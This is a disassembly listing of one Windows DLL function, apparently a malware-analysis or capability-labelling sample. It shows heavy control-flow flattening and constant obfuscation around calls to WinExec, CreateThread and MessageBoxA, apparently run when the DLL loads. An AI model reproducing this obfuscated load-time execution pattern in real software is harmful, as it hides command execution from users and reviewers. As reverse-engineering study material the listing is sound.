Function at 0x18001e5f8
Capabilities:
Create process on windows
Create thread

Disassembly:
push rax
pushf
mov eax, 0xbb2e9d9e
pushf
not eax
add eax, 0xaa5038eb
xor eax, 0x9361662c
rol eax, 0xae
popf
pushf
not eax
add eax, 0x9b65345a
xor eax, 0x8962d696
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x8aaa3de9
xor eax, 0xb53a7a09
rol eax, 5
popf
cmp eax, 4
jne 0x18001e648
popf
pop rax
jmp 0x18001ea36
cmp eax, 0
jne 0x18001e657
popf
pop rax
jmp 0x18001e6fc
cmp eax, 3
jne 0x18001e666
popf
pop rax
jmp 0x18001e94b
cmp eax, 1
jne 0x18001e675
popf
pop rax
jmp 0x18001e76f
cmp eax, 0xa
jne 0x18001e684
popf
pop rax
jmp 0x18001edbc
cmp eax, 7
jne 0x18001e693
popf
pop rax
jmp 0x18001ecb2
cmp eax, 6
jne 0x18001e6a2
popf
pop rax
jmp 0x18001ec10
cmp eax, 0xb
jne 0x18001e6b1
popf
pop rax
jmp 0x18001ee2a
cmp eax, 0xc
jne 0x18001e6c0
popf
pop rax
jmp 0x18001eed9
cmp eax, 8
jne 0x18001e6cf
popf
pop rax
jmp 0x18001ed12
cmp eax, 5
jne 0x18001e6de
popf
pop rax
jmp 0x18001eb4a
cmp eax, 2
jne 0x18001e6ed
popf
pop rax
jmp 0x18001e808
cmp eax, 9
jne 0x18001e6fc
popf
pop rax
jmp 0x18001edb3
sub rsp, 0x68
cmp edx, 1
jne 0x18001e73c
push rax
pushf
mov eax, 0x2663052c
pushf
not eax
add eax, 0x8fc6690a
xor eax, 0x9fdf10d6
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9e2dd6c7
xor eax, 0xe84b3e67
rol eax, 0x70
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0xbf234604
pushf
not eax
add eax, 0xc01cf1f9
xor eax, 0xb5ac2bb6
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xe8bac132
xor eax, 0x90b695f0
rol eax, 0x7e
popf
jmp 0x18001e639
call fcn.18002543a
test al, al
je 0x18001e7d5
push rax
pushf
mov eax, 0x122bb2f0
pushf
not eax
add eax, 0xe65226b7
xor eax, 0x91bb7211
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd77afb6d
xor eax, 0x985730b4
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xce02f8cc
xor eax, 0xd39709a0
rol eax, 0x47
popf
pushf
not eax
add eax, 0xd34126c0
xor eax, 0xdeb10095
rol eax, 0x88
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0xdd7b661a
pushf
not eax
add eax, 0x8c192000
xor eax, 0xadf71ef0
rol eax, 0x66
popf
pushf
not eax
add eax, 0x84b5be01
xor eax, 0xaa0bf3c0
rol eax, 0xb8
popf
jmp 0x18001e639
xor r9d, r9d
lea r8, [0x1f47f2623]
pushf
sub r8, 0x747e7fa3
popf
lea rdx, [0x1d6af59a3]
pushf
sub rdx, 0x56aeb283
popf
xor ecx, ecx
jmp 0x18001e832
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0xde66ef8c
pushf
not r9d
add r9d, 0x8ba8a406
xor r9d, 0x8e325c93
rol r9d, 0x24
popf
pushf
not r9d
add r9d, 0xbc4bcadc
xor r9d, 0x836d4656
rol r9d, 0x5d
popf
pushf
not r9d
add r9d, 0xb558b05e
xor r9d, 0xd48ca150
rol r9d, 0x9c
popf
lea r8, [0x1c95c0d0d]
pushf
sub r8, 0x495b668d
popf
lea rdx, [0x1c2a949ab]
pushf
sub rdx, 0x42a8a25b
popf
xor ecx, ecx
jmp 0x18001e8b0
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
je 0x18001e918
push rax
pushf
mov eax, 0x903e1365
pushf
not eax
add eax, 0x8559be74
xor eax, 0xe161ba4b
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xd70234ce
xor eax, 0xf403f877
rol eax, 0x72
popf
pushf
not eax
add eax, 0xea164a20
xor eax, 0x9a6517bf
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xd72d06f3
xor eax, 0xa6564e06
rol eax, 0x83
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0x7ccac8d3
pushf
not eax
add eax, 0xb4fe46ae
xor eax, 0x900471e2
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe1ed24cf
xor eax, 0xf5b47c96
rol eax, 3
popf
jmp 0x18001e639
mov rcx, qword [0x18000eaa8]
movabs rax, 0xfffffffb1ffa7156
pushf
not rax
add rax, 0x51fef6d0
xor rax, 0x6a353c00
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x61e272ab
xor rax, 0x4923c484
rol rax, 2
popf
sub rax, rcx
cmp rax, 0x10
jb 0x18001e9f0
push rax
pushf
mov eax, 0x2908bccf
pushf
not eax
add eax, 0xcba04813
xor eax, 0x82c5ceab
rol eax, 0x73
popf
pushf
not eax
add eax, 0xd6f82dbc
xor eax, 0xd789514f
rol eax, 0x78
popf
pushf
not eax
add eax, 0xb659553a
xor eax, 0xbc0ca5ef
rol eax, 0x54
popf
pushf
not eax
add eax, 0xdb77bbca
xor eax, 0xa6683d6e
rol eax, 0x34
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0xbc2573c0
pushf
not eax
add eax, 0xaf73a03c
xor eax, 0x8ae4eb1a
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xb279af11
xor eax, 0xa25cdda2
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf45b83aa
xor eax, 0xc4b61951
rol eax, 0xe1
popf
jmp 0x18001e639
cmp qword [0x18000eab0], 0xf
lea rax, [0x1dbb849a7]
pushf
sub rax, 0x5bb75f0f
popf
mov qword [rsp + 0x30], rcx
lea r9, [0x1d3f8c956]
pushf
sub r9, 0x53f82256
popf
cmova rax, qword [0x18000ea98]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x10
call fcn.1800291bb
cmp qword [rsp + 0x58], 0xf
lea rcx, [rsp + 0x40]
cmova rcx, qword [rsp + 0x40]
xor edx, edx
jmp 0x18001ea9a
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18001eaf1
push rax
pushf
mov eax, 0x51d1ec44
pushf
not eax
add eax, 0xe882a3ea
xor eax, 0xc3c4d358
rol eax, 0x27
popf
pushf
not eax
add eax, 0xeb7003ac
xor eax, 0xedf3a49a
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xea3c4d7f
xor eax, 0xdbee5f17
rol eax, 0xc9
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0x71b41ce9
pushf
not eax
add eax, 0x9cccf1f3
xor eax, 0xa4e9343e
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x849044f9
xor eax, 0xb39e74ea
rol eax, 0x82
popf
pushf
not eax
add eax, 0x8b065396
xor eax, 0xd37e4b2d
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xcbae827f
xor eax, 0xe4accbba
rol eax, 0x8f
popf
jmp 0x18001e639
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ebb7
push rax
pushf
mov eax, 0x2838dc7b
pushf
not eax
add eax, 0xb68b8972
xor eax, 0x94faff45
rol eax, 0x27
popf
pushf
not eax
add eax, 0xf568916a
xor eax, 0x841fd6f6
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xbb95d841
xor eax, 0xc80b4c7b
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xd0991816
xor eax, 0x87998e92
rol eax, 0x80
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0xb838eded
pushf
not eax
add eax, 0xc407e7c9
xor eax, 0xeeeda249
rol eax, 0x42
popf
pushf
not eax
add eax, 0xb2554e75
xor eax, 0xcd68f998
rol eax, 0x17
popf
pushf
not eax
add eax, 0x903b3170
xor eax, 0x8d21c203
rol eax, 0x13
popf
pushf
not eax
add eax, 0xbdd1515d
xor eax, 0xdecffdc4
rol eax, 0x14
popf
jmp 0x18001e639
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001ec7e
push rax
pushf
mov eax, 0xc3a07daa
pushf
not eax
add eax, 0xbd733a15
xor eax, 0xfe01ee27
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xb7990515
xor eax, 0xcff2debe
rol eax, 6
popf
pushf
not eax
add eax, 0xdf3cfdf9
xor eax, 0xe43a7a51
rol eax, 0x72
popf
pushf
not eax
add eax, 0xe4c36120
xor eax, 0xbcecfa3f
rol eax, 0xae
popf
jmp 0x18001e639
push rax
pushf
mov eax, 0x9d76f1b9
pushf
not eax
add eax, 0x8e743852
xor eax, 0xb7ed2e06
rol eax, 0x65
popf
pushf
not eax
add eax, 0xae204b0d
xor eax, 0xcc333744
rol eax, 0x8e
popf
jmp 0x18001e639
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18001eff0
mov eax, 0x9e558643
pushf
not eax
add eax, 0xa6705791
xor eax, 0x90c50025
rol eax, 0x85
popf
pushf
not eax
add eax, 0xf454a136
xor eax, 0xedea87b4
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xb8dbceac
xor eax, 0x9db34187
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xc5ea14ad
xor eax, 0xe0537324
rol eax, 0xe6
popf
add rsp, 0x68
ret
call fcn.180030c9e
test al, al
je 0x18001ee2a
mov qword [rsp + 0x28], 0
lea r8, [0x1cacd333b]
pushf
sub r8, 0x4accd95b
popf
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
jmp 0x18001ede7
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
jmp 0x18001edf1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x70ed0e4c
pushf
not eax
add eax, 0xc4390b7d
xor eax, 0xfed11153
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xf7ed54f9
xor eax, 0x94cfe879
rol eax, 0x9d
popf
jmp 0x18001e639
mov eax, 0x6554a11b
pushf
not eax
add eax, 0xf5e5a0b5
xor eax, 0xdfdf5b10
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xcb726372
xor eax, 0xeea1e385
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xb6b3acf6
xor eax, 0xd51d4156
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xece0db05
xor eax, 0xd7a6a0ee
rol eax, 0xfc
popf
add rsp, 0x68
ret
call fcn.18002cf03
int3